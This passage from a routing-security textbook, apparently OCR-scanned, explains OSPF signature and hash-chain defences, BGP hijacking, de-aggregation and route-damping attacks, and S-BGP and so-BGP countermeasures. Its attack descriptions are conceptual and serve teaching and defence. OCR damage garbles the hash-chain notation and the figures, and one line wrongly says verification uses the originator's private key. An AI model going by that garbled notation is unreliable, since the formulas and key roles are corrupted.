received from its neighbor before sending its own information out. In this case,
there is no way to identify the source router given a network. Since the source
cannot be determined, cryptographic technique cannot be used to provide source
authenticity.

However, in link state protocols, a router floods its link state information to
every router in the network. That is, each router in the network obtains the link
state information from the source router. In this case, the source router (of a link

state packet) can be identified, and cryptographic technique can hence be used.

Operations

The basic idea of securing link state protocol using cryptography technique is to
add digital signatures to every OSPF LSA. The concept of digital signature, and
the related terms such as certificate authority (CA), and public/private key pair can
be referred to Sect. 3.3.1.3.

The operation of using digital signature with OSPF is followed. The origi-
nating router signs its link state information (LSA) using its private key, and
floods it to the routers in the network. The receiving routers then verify the signa-
ture of the signed LSA using the originating router’s private key. If the signature

verification fails, the LSA will be discarded. If the verification succeeds, it ensures
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that the received data has not been altered in transit and it does come from the ad-

vertising router.

Special Treatment of the LS Age field

Remind that the LS Age field in the OSPF LSA header (see Fig. 3.11) will be in-

cremented on every hop of the flooding procedure. Since the field has to be up-

dated by the intermediate routers, it cannot generally be covered in the signature.
However, if the Age field is not protected, attackers could tamper the field

to disrupt the routing protocol. One example of this kind of attack is MaxAge at-

tack. The procedures of MaxAge attack are as follows:

1. When the attacker receives an LSA, it changes to age to MaxAge (1 hour by
default), and floods this modified LSA in the network.

2. When other routers receive the modified LSA, they will purge the correspond-
ing LSA from their database (as the maximum age is reached).

3. However, at the same time, the originating router also receives the modified
LSA from the attacker. According to the OSPFv2 specification, the originating
router will “fight back” by generating a new LSA with correct link information
and a fresher sequence number.

4. As a result, those routers that have just purged the link from their database (in
step 2) now receive the fight-back LSA telling them the link is actually avail-
able. If the attacker keeps generating LSAs with MaxAge, the network will

become unstable.

To protect the Age field and prevent the MaxAge attack, the signature can
cover the Age field when, and only when, the age value is MaxAge. In other

words, those MaxAge LSAs have to be protected by digital signature.

Advantages and disadvantages
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The use of digital signature provides two major advantages. It ensures that not
only the data really come from the advertising router, but also that the data has not
been modified in transit. Therefore, it is particularly useful to mitigate various
kinds of link attacks.

On the other hand, if incorrect routing data is received, the signature at-
tached to the routing data can be used to trace the problem to its source.

Though the use of digital signature prevents link attacks, it cannot prevent a
compromised or faulty router from signing incorrect routing information and
flooding it in the network. Nonetheless, the damage would be minimal. A com-
promised router could announce the following:

1. A link with incorrect metric (e.g., link cost)

2. A link with incorrect state (e.g., up or down)

3. A link that does not in fact exist.

There is no way to guard against the first two cases, but the side effects
would be localized. For the third case, the OSPF Dijkstra shortest-path calculation
will not consider the announced non-existing link, because there is no similar an-
nouncement from the router at the end of that link.

Other limitations of using digital signature include high computational
overhead, the requirement of the PKI, and the necessary of protocol modification

(e.g., to add a field in an update message for the signature).

3.5.3 Hash Chains for Stable Link State

Motivation

As mentioned in the earlier section, public key cryptography can be used for
OSPF to provide security. Despite of its effectiveness, it requires expensive gen-
eration and verification of digital signatures. It is more of a problem for the rout-
ing protocols involving many routing updates, as digital signatures have to be

generated and verified in real time.
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It has been observed that, in the OSPF traffic, after the routing update for a
link change, many subsequent updates are simply the re-statement of that update
and carry no new information. Based on this observation, a solution called Stable
Link State (SLS) [6] is proposed to lower cryptographic costs associated with the

routing update processing and distribution.

Operations

Hash chain:

The key idea of SLS is to use a single chain of hashes as authentication tokens. To
generate a hash chain, a random secret quantity R has to be firstly created. The
quantity R is then hashed » times using a strong one-way hash function H, such as

SHA and MDS5. The successive hash values can be chained as follows:

H'(R), H'(R), ?, H(R), ?, H'(R) where H'(R) =H( H'(R)).

New message types:
The SLS solution creates two new link-state update messages: Anchor Link State
Update (ALSU) and Chained Link State Update (CLSU). ALSU is signed and
used whenever a link state is changed or the current hash chain is depleted,
whereas CLSU is unsigned and used when there is no link’s state change but a
¢ LSU needed to be sent.)
An ALSU mainly contains:
:The chain length

® 1N

o H'R) :The anchor value

. :For time sequence
e Timestamp

:The usual information carried in an OSPF LSU
e LSU

that actually describes the link state
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C :For authentication use
e Digital signature

A CLSU mainly contains:
. i :The index referring the number of updates after the
ALSU
. H"(R) :The corresponding hash value

. :For time sequence
e Timestamp

As can be seen, a CLSU does not contain the signature. The purpose of doing this

is to reduce the overhead of processing the signature.

ALSU Generation and Verification:
An ALSU is generated when a node detects a link state change or when the cur-
rent hash chain is depleted. ALSU is digitally signed by the originator so that hop
integrity is provided.

After the successful verification of the signature, the receiving routers store
the anchor value, H'(R) and other parameters carried in the received ALSU lo-

cally for future verification use.

CLSU Generation and Verification:

After sending an ALSU, a CLSU is generated if there is no link state change but a
new LSU is required to be sent (remind that, in OSPF, periodic LSU needed to be
sent). As can be seen, each CLSU contains index i and the corresponding H"'(R).
The index is to indicate the number of updates after the original signed ALSU, and
the H"'(R) is used for authentication. For example, assuming n=5, the first CLSU
contains i=1 and H (R), the second CLSU contains /=2 and H’(R), and so on.
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When i is greater than n, the hash chain is regarded as depleted, and a new ALSU
has to be generated.

When a router receives a CLSU, no signature verification is needed (as
CLSU is not digitally signed). Instead, the receiving router verifies the CLSU by
checking H(H"'(R)) = H""\(R).

For example, assuming #=5, when a router receives a CLSU containing i=1
and H'(R), it checks H(H'(R))=H’(R

will be successful.

Example

Fig. 3.12 shows an example illustrating the operations of SLS:

1. Suppose that the chain length is 5, the originating router, A, calculates a hash
chain based on a random quality R.

2. At time T, router A detects the state change of Link 1, it sends an ALSU (for
Link 1) containing the value of H’(R) to its neighbor, router B.

3. After successful verification of the signature, router B records the parameters
carried in the ALSU.

4. Later, at T,, router A needs to send a new LSU out describing the state of Link
1. Since there is no link change, Router A generates a CLSU containing:

index i= 1 (indicating it is the first update since the last ALSU)
H*(R) (the corresponding hash value)

5. After receiving this CLSU, router B verifies it by computing the hash of the
received A*(R) and comparing the result with the stored H°(R). If the verifica-
tion is successful, the old parameters (e.g., the index, and the hash values) will
be replaced by that carried in this CLSU for future verification use.

6. Similarly, the next CLSU contains A°(R) and router B verifies it by checking
that H(H(R)) = H'(R).
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7. Suppose that, the link state has not been changed since T;, and four CLSU
messages have been sent using H*(R), H(R), H*(R), and H'(R), respectively.
Now, the hash chain length, n=5, is reached, and the chain is regarded as being
expired. Therefore, router A has to create a new hash chain using a new quality,

say R’, and generate a new ALSU for the next update interval.

@ Anchor LSU
LSU, 5, Ty, H'(R) d—»
1

@B

0 G

Chained LSLL_
@>_ I ,Tz(H"'(RD

~ @B

9,

Check if: To
H(H(RY=H(R) replace
4
T,
H'(R)

Fig. 3.12. Example of SLS operations.
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Advantages and disadvantages
The major advantage of this method is low operation overhead. The overhead of
generating a CLSU is negligible. It is because the hash values, H'(R), are calcu-
lated in advance (not calculated when a CLSU is generated). On the other hand,
the verification of CLSU is minimal because it takes just one hash function com-
putation. It just needs to check if H(H"(R)) = H "**'(R), which can be interpreted
as H(this received hash value)=the stored last received hash value. Since the use of
CLSU does not require expensive signature computation or signature verification,
it substantially reduces the overhead caused in the traditional digital signature
scheme.

However, as can be seen, whenever there is a link state change, a new
ALSU has to be generated. Since ALSUs are signed, if the link is fluctuating,
there will be so many ALSU generated. In this case, there is high signature com-

putation, and the benefit provided by SLS becomes weakened.

3.5.4 Hash Chains for Fluctuating Link State

Motivation

As discussed in last section, the SLS scheme takes the advantage of the situation
that many LSUs are simply the re-statement carrying no new information (link
change). However, it is only effective when the link states are stable. For the net-
work where the link changes quite often, the Fluctuating Link State (FLS) scheme

is proposed.

Operations

Table of hash chains:
The concept and operation of FLS is similar to that of SLS. The major difference

is that, unlike SLS that uses one hash chain, FLS uses two hash chains for each in-
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cident link. One chain is for the up state and the other one is for the down state of
the link. Two different hash functions (with similar security properties) are used
for these two chains. For example, hash function F for the down chain whereas
hash function H for the up chain.

On the other hand, each link uses a unique and randomly generated quantity,
R;. Therefore, if a router has k incident links, and the chain length is n, then the
router has to generate a hash table containing (nxkx2) hash values. The layout of

the table looks like:

Link 1 Link j Link &

Up Down Up Down Up Down
H'(R) | F'(R) H'R) | F'(R) H'(Ry) | F'(Ro)
HR) | FR) H(R) | F(R H(Ry) | P(RY)
H'(Ry)) | F'(R)) H'(R) | F'(R) H'(Ry) | F'(Ry)

ALSU Generation and Verification:
The ALSU used in FLS mainly contains:

e nodelD A unique ID for each router node

For time sequence

Timestamp

A set of anchor values for all states and

all links.

H'(R)), F"(R)), ...,

H'(R), F'(R;), ...,

H'(R;), F'(Ry)

e LSU The usual information carried in an



106 Network Infrastructure Security

OSPF LSU that actually describes the
link state

.. . For authentication use
e Digital signature

The major difference between this ALSU and that used in SLS is that it contains a
set of anchor values for all states and all links.

Upon receipt of an ALSU, the receiving router first verifies the signature. If
it is successful and the timestamp is considered fresh, the information carried in

the ALSU will be stored.

CLSU Generation and Verification:
Subsequently, if the originating node needs to send out a new update, it generates
a CLSU. The CLSU used in FLS mainly contains:

e nodelD A unique ID for each router node

. For time sequence
e Timestamp

The index referring the number of updates

o |
after the ALSU

e LSF Link State Flag

. LSV Link State Vector

LSF and LSV are the important fields for the receiving routers to determine link
changes. Supposing there are & links, L, ...Ly, they are defined as:

LSF=[L,’s state, ..., L;’s state, ..., L;’s state]

LSV=[LSQ1), ..., LS()), ..., LS(k)]

H» (R;) 1ifL'sstate
Fr (R;) ifL 'sstate

UP
DOWN

where LS(j) = {
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For example, if /=3, n=4, i=2, and the links’ states are up, down, and up respec-

tively, LSF and LSV become:

LSF[UP, DOWN, UP]
LSV[H?*(R,), F2(R,), H*( R;)]

Each receiving node stores the information of an earlier CLSU, denoted as
CLSUp p, and LSVp, where p=i-1. Upon receipt of a CLSU, the receiving

router performs:

1. Look up the current entry for nodelD, and validate the freshness of this
update based on the timestamp.

2. Check whether the link states carried in the current received CLSU changed. It
is achieved by comparing it to CLSUp. More specifically, compare the current
received LSF and the previously stored LSFp.

If state unchanged, compute:
H'(LS(j)) if L;’s state is UP
F(LS(j)) if L;’s state is DOWN,
and compare it to the previously stored value in LSVp; reject upon mismatch.
If state changed, compute:
H'(H"(R))) if L;’s state is UP
FI(F"(R))) if s state is DOWN,
and compare it to the corresponding values in LSV, (which is carried in the
ALSU and has been stored locally); reject upon mismatch.
;. Afterwards, this current received LSV replace the previous link state vector

(LSV,)

Example

Fig. 3.13 shows an example of the operations of FLS:
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1. Firstly, router A computes the hash values for its connected links (Link 1 and
Link 2). Suppose that the chain length is 4, with two links and two hash
functions, there are 4x2x2=16 hash values, as shown in Fig. 3.13.

2. Router A generates an ALSU at T;, which contains the hash chains for both
link 1 and Link 2 to its neighbor router B. ALSU also contains the originator
ID and the timestamp, and the whole thing is protected by the originator signa-
ture.

3. After successfully verifying the router A’s signature, router B stores the infor-
mation carried in the ALSU, which are used for verifying the subsequent
CLSU.

4. Suppose that, at T,, Link 2 goes down. Router A then generates a Chained LSU
(CLSU) to its neighbor for the most updated link state information. Since the
Link 1’s and Link 2’s states are up and down respectively, the LSF and LSV
for this CLSU become:

LSF=[UP, DOWN]
LSV=[H'R)), FF(R,)].

5. Upon receipt of the CLSU, router B compares the received LSF and the stored
LSF and finds that Link 1’s state is unchanged but Link 2’s state is changed.
Therefore,

For Link 1, it computes A'[ H(R;) ] and compares it to the previously
stored H'(R)).

For Link 2, it computes F'[ F°(R,) ] and compares it to the previously
store F*(R,).

After the above calculation and successful verification of the received CLSU,

the previously stored LSF and LSV will be replaced by this just received ones.

Advantages and disadvantages
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The major advantage of this FLS scheme over the SLS scheme is that no expen-
sive signature computations or signature verifications is necessary even though
there are link state changes. Therefore, it could substantially reduce the overhead
dealing with digital signature even if links and nodes fluctuate. Nonetheless,
comparing to the SLS scheme, extra memory and processing power for the hash
values are needed.
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@ RouterA 1D, T

(R, FY(RD
H'(Ry), F\(R;)
LSU Fi

Link 1

Up
IR | FHR) (R | F(R)
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H(R) FAR)
H'(Ry) F'(R)

LSES

Chained LSU
RouterA 1D, T,

i=1,
@) LSV, = [H'(R,). F(R2)]
LSF, =([UP) DOWN]
— —

Link 1 -I,l'nl\'. 2 @
Check:
Up |Down| Up |Down PP R,
H'R) | F(R) | H'(Ry) | Fi(Ry) “F(Ry)
H(R)| F(R) [ H(Ry) | F(R2) Check:
H®R)|[FR) | H®R) | Fiko) [ H U R))
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Fig. 3.13. Example of FLS operations.
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3.6 BGP Attacks and Countermeasures

3.6.1 BGP attacks

Primary Vulnerabilities

There are three primary vulnerabilities in Border Gateway Protocol (BGP):

1. It does not protect data integrity and provide source authentication.
2. It does not validate the prefix ownership of an autonomous system (AS).

3. It does not validate the correctness of the path attributes announced by an AS.

By making use of these vulnerabilities, attackers can launch various kinds of at-
tacks to the BGP routing network. The attacks can achieve one or more of the fol-

lowing objectives.

Attack Objectives

Black Hole:
It refers to a router or an area of the network where packets enter but do not come
out. It can be done by using false route advertisements to cause traffic to a par-

ticular node that will then drop the traffic.

Traffic Redirection

It is to force traffic to take a different route to reach an incorrect destination that
impersonates the actual destination. In this case, the incorrect destination could
read the packets that it is not supposed to receive. Another purpose of traffic redi-
rection is to redirect excessive amount of traffic to a particular link or a network

causing them overloaded.
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Traffic Subversion
It is a special case of traffic redirection. However, unlike traffic redirection, in
traffic subversion attacks, after eavesdropping or modifying the packets, the redi-

rected packets will be eventually forwarded to the correct destination.

Instability:

It is to force the routing structure to change frequently, or to cause the routing
nodes to have inconsistent views of the network, resulting in a very long conver-
gence delay. It can be achieved by keep sending advertisements using different

metrics or attributes.

Attack Mechanisms

To achieve the attack objectives, the following attacks mechanisms can be used.
Note that the mechanisms assume that hackers manage to compromise and take
control of routers. They may achieve this by stealing the router login password, or

hacking the router operating system.

Prefix Hijacking
In BGP, a set of address (or an IP clock) (e.g., 1.2.3.0/24) that is being routed is
called a prefix, and the list of autonomous system (AS) that the packet must pass
through to reach the prefix (e.g., {20 30 40}) is called A4S path. A BGP message
contains the information about the AS path for a given prefix. For simplicity, we
use something like [{20, 30, 40} 1.2.3.0/24] to represent the information in this
section.

In BGP, there are four message types. One of them is the UPDATE message
that is used to provide routing updates to other BGP routers so that they have a

consistent view of the network topology.
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False UPDATE messages can be used to hijack prefixes, as shown in Fig.
3.14. In the example, AS 10 owns a network prefix 1.2.3.0/24 that directly con-
nects to router A. Suppose that router D is malicious and its goal is to subvert the

traffic destined for 1.2.3.0/24. The attack procedure is as follows:

1. Router D prepares a fake UPDATE message claiming that it has a direct con-
nection to AS 10. It is achieved by adding its AS number immediately before
AS 10 in the AS path. Router D then announces this message to AS 50 and the
Internet.

2. When AS 50 receives the fake message, it finds that the message contains a
shorter AS path (length is 2) than that announced from AS 30 (length is 3).

3. In this case, since shorter path is preferred, AS 50 will forward all traffic des-
tined for AS 10 to AS 40 instead of AS 30. As a result, the traffic will go
through router D, making it able to perform any malicious actions on the traffic
such as packet eavesdropping and modification.

4. If router D forwards the traffic towards the correct destination, AS 10, this at-

tack will become very difficult to be detected.

Another example of false UPDATE attack is that router D simply claims the
ownership of the prefixes originated by AS 20. That is, it could announce {40,
1.2.3.0/24} to AS 50 and the Internet. After receiving the advertisement, AS 50
will forward all the traffic destined for 1.2.3.0/24 to AS 40.

You may be wondering that why AS 50 does not find it strange and report
alert when it receives information about two different ASs that claim the owner-
ship of the same prefix. The reason is that, in the core network routing, multiple

origin AS is legitimate.
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AS 50
Internet F
Normal
\advertisemem
Fake
advertisement {30, 20, 10}, 1.2.3.0/24 ‘
140, 10}, 1.2.3.0/24 \

1.2.3.0/24

Fig. 3.14. Illustration of the prefix hijacking attack.

Prefix De-aggregation
Before discussing about de-aggregation attacks, we first discuss what prefix ag-
gregation is and its benefit.

In the network shown in Fig. 3.15, AS 60 and AS 10 are advertising
1.2.2.0/24 and 1.2.3.0/24, respectively, to AS 20. Since the first 23 bits of these
two prefix is the same, AS 20 aggregates them and advertises the single prefix
1.2.2.0/23 to AS 30 and AS 40. The AS path in this case will include both of the
originating AS 10 and AS 60 but they are grouped into an AS Set. Therefore, the
advertisement will look something like [{20, (60 10)}, 10.1.2.0/23].

The advantage of prefix aggregation is the reduction of the number of en-
tries BGP has to carry and store. It can be also used to hide the reachability and

topology information.
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Prefix de-aggregation attack refers to the way to maliciously de-aggregate
the aggregated prefix. It can be accomplished by announcing a more specific pre-
fix when an aggregate one exists.

For example, in Fig. 3.15, the compromised router D de-aggregates the pre-
fix announced by AS 20, which can be accomplished by announcing a fake mes-
sage in which the prefix is changed to be one-bit longer, that is, 1.2.2.0/24. This
more-specific path breaks up the address block (1.2.2.0/23) announced by AS 20.
Since BGP gives preference to the most specific route, the traffic destined for AS
20 originating anywhere on the Internet would be forwarded to Router D.

A variation of the above attack is that, Router D simply announces a fake
message claiming that it owns the prefix 1.2.3.0/24, which is originally owned by
AS 10 but aggregated with another prefix in AS 20. In this case, the corresponding

traffic will be forwarded to router D.

More specific route
first. Send to D.
S 50

/!

‘ 130,20, (60 10)}, 1.2.2.0/23 |
‘ 140, 20 (60 10)} 1.2.2.0/24 |

\AS 30

used

ggregation f

1.2.2.0/24 1.2.3.0/24

Fig. 3.15. Illustration of prefix de-aggregation attack.
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Contradictory Advertisements
Compromised routers could send advertisements that are contradictory to the cor-
rect ones so as to cause unexpected routing results.

One way to do that is to violate the intention of the multi-homed ASs using
padded AS path. A padded AS path refers to the path padded with repetitions of
ones’ own AS number. The purpose of doing this is to make the overall AS path
longer. This lengthened AS path can be legitimately used for a multi-home AS to
“mislead” its providers to not to some path.

For example, in the network shown in Fig. 3.16a, there are two paths to
reach AS 20: D-B and E-C. Suppose that E-C is an expensive link and AS 20 want
others to choose the D-B link to reach it, AS 20 can announce a padded AS path
for the E-C link. That is, AS 20 would include the padded AS path {20, 20, 20,
10} in the advertisements towards AS 30, but the normal AS path {20 10} in the
advertisements towards AS 40, for the prefixe of AS 10. Since the path through
AS 30 is longer, the E-C link is less attractive for other ASs and they will choose
the D-B link to reach AS 20.

However, if router D sends advertisements having a longer AS path than
that from AS 20, as shown in Fig. 3.16b, it can cause other ASs to use the costly
E-C link to reach AS 20s. It is contradictory to the intention of AS 20.

Exploitation of route damping

Route damping is a technique to mitigate the effects of route flapping.
However, this method can be misused by attacker to cause network problems.

It is normal and appropriate for a route to go down and come back up as a
result of configuration changes. However, if it happens at a sufficiently high rate,
route flapping occurs. The flapping of a route will cause excessive processing load
in those routers involving that route because the same route will be continuously

and frequently injected and withdrawn from their routing table.
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Shorter AS Path
AS 50 first. Choose AS 40
to reach AS 20

130, 20, 20, 20, 10}

AS 30

Padded AS Path

1.2.3.024

a. Normal case

Shorter AS Path
first. Choose AS 30
to reach AS 20

{30, 20, 20, 20, 10}

@ AS 30

Padded AS Path

b. Attack case

Fig. 3.16. Illustration of contradictory advertisements attack.



3. Network Infrastructure Security — Routing 117

To mitigate the effects of link flapping, a technique called route damping is
built into many BGP implementations. If a BGP router detects that a route is flap-
ping, it will trigger route damping that will ignore the updates from the flapping
for a period of time. When the period is expired, the router can reinstate the of-
fending route. However, if that route flaps again, it will exponentially increase the
damping period. If that route flaps repetitively, it will withdraw the routes learned
from the flapping router.

Attacking routers can create route flapping activities to cause others to trig-
ger unnecessary router dampening. For example, in Fig. 3.17, if router D’s goal is
to cause router F to trigger damping for the routes to AS10, it can achieve this by
repeatedly withdrawing and re-announcing the target routes. More specifically,
router D sends router F a sequence of WITHDRAW:{40, 20, 10} and
ANNOUNCE:{40, 20, 10}. As a result, router F triggers the damping for the
routes to AS10 for a period of time. It causes the routes to AS 10 through AS 50
unreachable. If router D keeps doing this route flapping activities, denial of ser-

vice will be achieved.

Damp the routes to AS 10

S50

| WITHDRAW: {40, 20, 10} |
ANNOUNCE: {40, 20, 10} |
[ WITHDRAW: {40, 20, 10} |

1.2.3.024

Fig. 3.17. Illustration of Link Flap Attack
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3.6.2 BGP Countermeasure
The viability of the attacks to BGP (i.e., some are discussed in Sect. 3.6.1.3 is
mainly caused by the vulnerabilities of BGP mentioned in Sect. 3.6.1.1. To solve
the vulnerabilities, Secure BGP (S-BGP), Secure Origin BGP (so-BGP), and In-
terdomain Routing Validation (IRV) have been proposed. They achieve the fol-
lowing goals.
Hop integrity :To make certain that the received message claimed
from a sender is not modified when it was really sent
out by that sender.
Origin authen- :To validate the authority of an AS to announce a par-
tication ticular prefix.
Path validation  :To determine whether a AS that advertises a destina-

tion actually has a path to the destination
Though their goals are common, their approaches are quite different. Table 3.2

shows the summary of the solutions and their ways to achieve the above goals.

The operations of the solutions will be discussed in the following.

Table 3.2. Solutions to secure interdomain routing.

Solutions Path Validation Origin Authentication ~ Hop Integrity

S-BGP Route attestation Address attestations IPsec

so-BGP PolicyCert and Enti-  AuthCert and EntityCert By a secure transport
tyCert layer.

IRV Querying each AS in  Query the IRV server of By a secure transport

the path the originating AS. layer.
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3.6.2.1 Route filtering

Before discussing the new solutions (S-BGP, so-BGP, and IRV), we first review
the most basic mechanism for validating the origin of BGP announcements --
route filtering. Filtering can be achieved by the Access Control Lists (ACLs) that
is a built-in function in almost all BGP routers. ACLs are specified using syntax to
list ranges of IP prefixes that are to be accepted or denied.

Filtering for both incoming BGP UPDATE messages (ingress filtering) and
outgoing UPDATE messages (egress filtering) are needed to enforce the correct
UPDATE message exchange among ASs. Egress filtering is applied to allow op-
erators to control which prefixes can be announced to peers. Ingress filtering, on
the other hand, is used to check the validity of the received routes.

Normally, BGP peers should have consistent filtering settings. That is, the
prefixes listed in the egress filter of an AS should match those accepted prefixed
listed in the ingress filters of its BGP peers. For example, if the egress filter of AS
10 only allows the announcement of prefixes P1, P2, P3 and P4, then its peer, say
AS 20, has to set its ingress filters to only accept the prefixes P1, P2, P3 and P4
from AS10, as illustrated in Fig. 3.18. Doing this can protect BGP routers from
receiving accidental or malicious update messages, and enforce the business rela-
tionships between ASs.

To construct the filters, router administrators are supposed to know the ori-
gin AS of each BGP prefix. The Internet Routing Registry (IRR)
(http://www.irr.net) can be used to do this. IRR is a distributed routing database
which contains the mapping or an origin AS number to a list of prefixes.

As can be seen, the route filtering approach is particular efficient for the
ASs organized in a tree topology. It is because an AS would just need to establish
ingress filters to accept the prefixes from its downstream ASs, and to establish

egress filters to allow its announcements to reach its present AS only. However, if
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the ASs are organized in a mesh topology, the egress and ingress filters in the ASs
will become very complex and can be potentially mis-configured, since there are
different routes for an announcement to reach different routers.

Though route filtering is easy to implement, using it will violate the dy-
namic nature of the Internet. Since the addition and removal of networks on the
Internet happens anytime, it is by no means feasible that the IRR databases are

always up-to-date. As a result, inconsistency with the installed filters occurs.

P4

Fig. 3.18. Route Filtering.
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3.6.2.2 Secure BGP (S-BGP)
Secure BGP (S-BGP) is an extension to BGP with the objective to overcome the

security vulnerability. The major additions are:

e Public Key Infrastructure (PKI) To authorize prefix ownership and

validate route.

e Address Attestations (AAs) To verify the origin AS of a pre-
fix.
e Route Attestations (RAs) To authorize a neighbor to adver-

tise prefixes.

e Internet Protocol Security (IPSec) To provide point-to-point security

between BGP routers.

Operations

The S-BGP operations, with the help of Fig. 3.19, are described below:

1. Firstly, with PKI, each AS has its own private key and public key. The private
key is kept in secret while the public key is made available.

2. On the other hand, each BGP prefix also has its certificate, called Address At-
testation (AA). When an AS requests a portion of the IP address space (or a
BGP prefix) from an authority (the Internet Assigned Number (IANA), a Re-
gional Internet Registry (RIR), or its Internet service provider (ISP)), it also
requests a certificate for that prefix. The certificate contains the originating AS
and the prefix, (i.e., AS100 and 144.214.0.0/16 in the example shown in Fig.
3.19), and it is signed using the authority’s private key. This certificate is called
Address Attestation (AA).

3. When the AS wants to advertise the prefix, 144.214.0.0/16, to this neighbor,
AS200, it generates a Router Attestation (RA) and then includes that RA in the
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BGP UPDATE message to AS200. The RA contains AS 100’AA and the next
hop information, signed by AS 100’s private key

4. Similarly, if AS 200 wants to authorize its neighbor, AS 300, to advertise this
prefix, it generates a new RA and includes it in the UPDATE message to AS
300. This new RA includes the RA from AS200 and the next hop information.
This RA is signed by AS200’s private key.

5. To provide data integrity for all BGP traffic between neighboring routers, IP-
Sec can be applied.

When an AS receives an advertisement, it performs the following:

1. To validate the chain of signatures includes in the RA it receives using the pub-
lic key of each AS found in the Path. It ensures the authenticity of the path.

2. To verify the AA for that advertised prefix using the public key of the authority
that signed the AA. It ensures the originality of the prefix.

Internet Registry

Certificate
Next hop=AS200
1

Certificate Signed [_,y — Signed by Signeq by

(AS100 owns the Registry's || Certificate AS100's AS200's

144.214.0.0/16 (1) private key Next hop~AS200 private key private key
signature )

IPSec 1PSec

144.214.0.0/16

Fig. 3.19. S-BGP operations.
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Deployment Obstacles
Despite the extensive security offered by S-BGP, there are some obstacles to its

widely deployment.

1. The presence of a PKI
To use S-BGP, first and foremost, a PKI that is trusted by all participating ISP
must exist, so that there is an authority trusted to generate key pairs and issue cer-

tificates.

2. Computational burden:

S-BGP routers involve much cryptographic work such as verifying a number of
signatures in the inbound UPDATESs, and signing outbound UPDATEs. It causes
computational burden to the routers. If they are overloaded, time-outs of S-BGP
session will likely occur, causing network instability. Therefore, S-BGP routers

require much higher processing power than the conventional BGP routers.

3. High memory requirement:

As can be seen, chains of RA are included in an UPDATE from a peer. In general,
30MB per peer is needed for a S-BGP router to hold the corresponding keys and
RAs. This requisite memory seems modest for a router if it has just a few peers,
but if it has tens or even hundreds of peers, like those acting as an Internet ex-
change, significant amount of memory is needed. On the other hand, AS-path ag-
gregation is not allowed in S-BGP because each UPDATE has to be signed by the

prefix owner. It makes the memory requirement even higher.

Objectives achieved
S-BGP is able to prevent various kinds of BGP attack since its design goals ad-
dress the issues of hop integrity, origin authentication, and path authentication.

Below lists how S-BGP achieves that.
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Hop Integrity: IPSec used in S-BGP provides hop integrity. That
is, by encrypting and authenticating all IP packets,
IPsec ensures that the data exchanged between
neighboring routers has not been changed and is

from the right party.

Origin  authentica- Address Attestation (AA) in S-BGP provides ori-
tion: gin authentication. Since AAs are signed by the
trusted address authority, the verifications of them
allow S-BGP routers to ensure that the route

claimed in a UPDATE really owns the prefix.

Path authentication: ~ Route Attestation (RA) in S-BGP provides path
validation. The purpose of a RA is to authorize a
neighboring AS to advertise the specified prefix.
Since each AS in the path has to sign a new RA
and include it into the UPDATE to its neighbor, a
S-BGP router is able to validate the path by veri-
fying all the RAs stored in the received UPDATE

using the corresponding public keys.

3.6.2.3 Secure Origin BGP (so-BGP)

Secure Origin BGP (so-BGP) is a lightweight alternative to S-BGP, mostly pro-
posed by researchers at Cisco Systems. The design goals of so-BGP are to validate
whether an AS is authorized to originate a given prefix, and to verify whether an
advertised prefix has a valid path to it.

To achieve the goals, so-BGP uses the following types of certificates:
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1. EntityCert:  for verifying the identity of an AS.
2. AuthCert: for verifying the prefix ownership.

3. PolicyCert:  for verifying the validity of a route.

It is assumed that each AS has a public/private key pair from an authority trusted

by all participating ISPs, which implies that the presence of a PKI is required.

Operations

EntityCert:

An AS uses EntityCert to distribute its public key. An EntityCert contains primar-
ily:

e An AS number and

e [ts public key.

To ensure the public key carried within the certificate actually belongs to the ad-
vertising AS, the certificate has to be signed by a trusted authority (see Fig. 3.20).
To simplify our derivation, we assume there is a well-known key-signing authority
that is responsible to sign all the EntityCerts in the operations of so-BGP. In prac-
tical, the certificates can be signed by a number of ways such as self-signing, cross

signing between ASs, and enlisting the help of a third party organization.

AuthCert:
An AS uses AuthCert to authorize other ASs to advertise a specific block of ad-

dresses. An AuthCert contains primarily:

e A specific block of addresses,
e The authorizing AS, and

e The AS that is authorized to advertise prefixes within the block of addresses
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To verify the authorization claimed in the AuthCert is valid, the certificate is
signed using the authorizing AS’s private key. Note that a block of addresses, in-
stead of prefixes, is used in an AuthCert. The purpose of doing this is to reduce the
size of the database built from this information.

For example, if AS 100 would like to authorize AS 200 to advertise prefixes
within the block 144.214.0.0/16, it will create something like the AuthCert shown
in Fig. 3.20.

PolicyCert:
An AS uses PolicyCert to inform others about its directly connected neighbors. A

PolicyCert contains primarily:
e A list of its directly connected neighbors.

It is signed by the originator’s private key (see Fig. 3.20). With these certificates
from others ASs, a map of the internetwork topology can be built. This map is

used to validate whether a path to a destination is valid.

EntityCert AuthCert

AS=100
AS100's Public Key
signature A
T

Authorized AS = 200
Signed by Addr blk = 144.214.0.0/16 Signed by
the certificate Authorizing AS = 100 AS100's
authority’s signature / private key
private key ]

Router R

PolicyCert

144.214.0.0/16

My peers ASs are:
200
400 Signed by

signature |7 AS100's
¢ private key

Fig. 3.20. Ilustration of EntityCert, AuthCert, and PolicyCert in so-BGP.
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Verification of these certificates:
After receiving the above certificates from other ASs, a so-BGP router can build
the following databases and topology map, which are used for the verification of

UPDATESs:

e Database of valid ASs
e Database of prefixes and the corresponding ASs authorized to originate them.

e A topology map describing the valid paths among known ASs.

When a router receives an EntityCert, it validates the certificate using the
key-signing authority’s public key. If the certificate is valid, the router will add the
information of the AS number and the corresponding public key into the local da-
tabase of valid ASs.

For each received AuthCert, the validating router verifies the signature on
the certificate using the authorizer’s public key. For example, if the PolicyCert
from AS 200 is received, the EntityCert of AS 200 will be used. The public key
can be obtained by looking up in the local EntityCert databse. If the received
AuthCert is valid, the router will add the information into the local database of
prefixes, matched with the ASs that are authorized to advertise them. See Fig. 3.21
for an example.

On the other hand, when the validating router receives a PolicyCert, it will
validate the signature on the certicficate using the corresponding EntityCert. By
analyzing the received PolicyCerts from other ASs, the validating router can build

a directed graph describing the internetwork topology.

Transportation:
s0-BGP defines a new type of BGP message, the SECURITY message, which

transports these certificates throughout an internetwork.
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Example
We use the scenario shown in Figure BGP-19 to demonstrate the operations of
so-BGP. Suppose that router R in AS 300 is the validating router receiving the

following certificates from other ASs in the internetwork.

e An EntityCert from AS 100

e An EntityCert from AS 200

e An EntityCert from AS 400

e An EntityCert from AS 500

e An AuthCert from AS 200 allowing AS 200 to advertise 144.214.0.0/16

e A PolicyCert from AS 100 stating its direct connections to ASs 200, 400

e A PolicyCert from AS 200 stating its direct connections to ASs 100, 300, and
400

e A PolicyCert from AS 400 stating its direct connections to ASs 100, 200, and
500

e A PolicyCert from AS 500 stating its direct connection to AS 400

Having validated the received certificates shown above, the validating router,
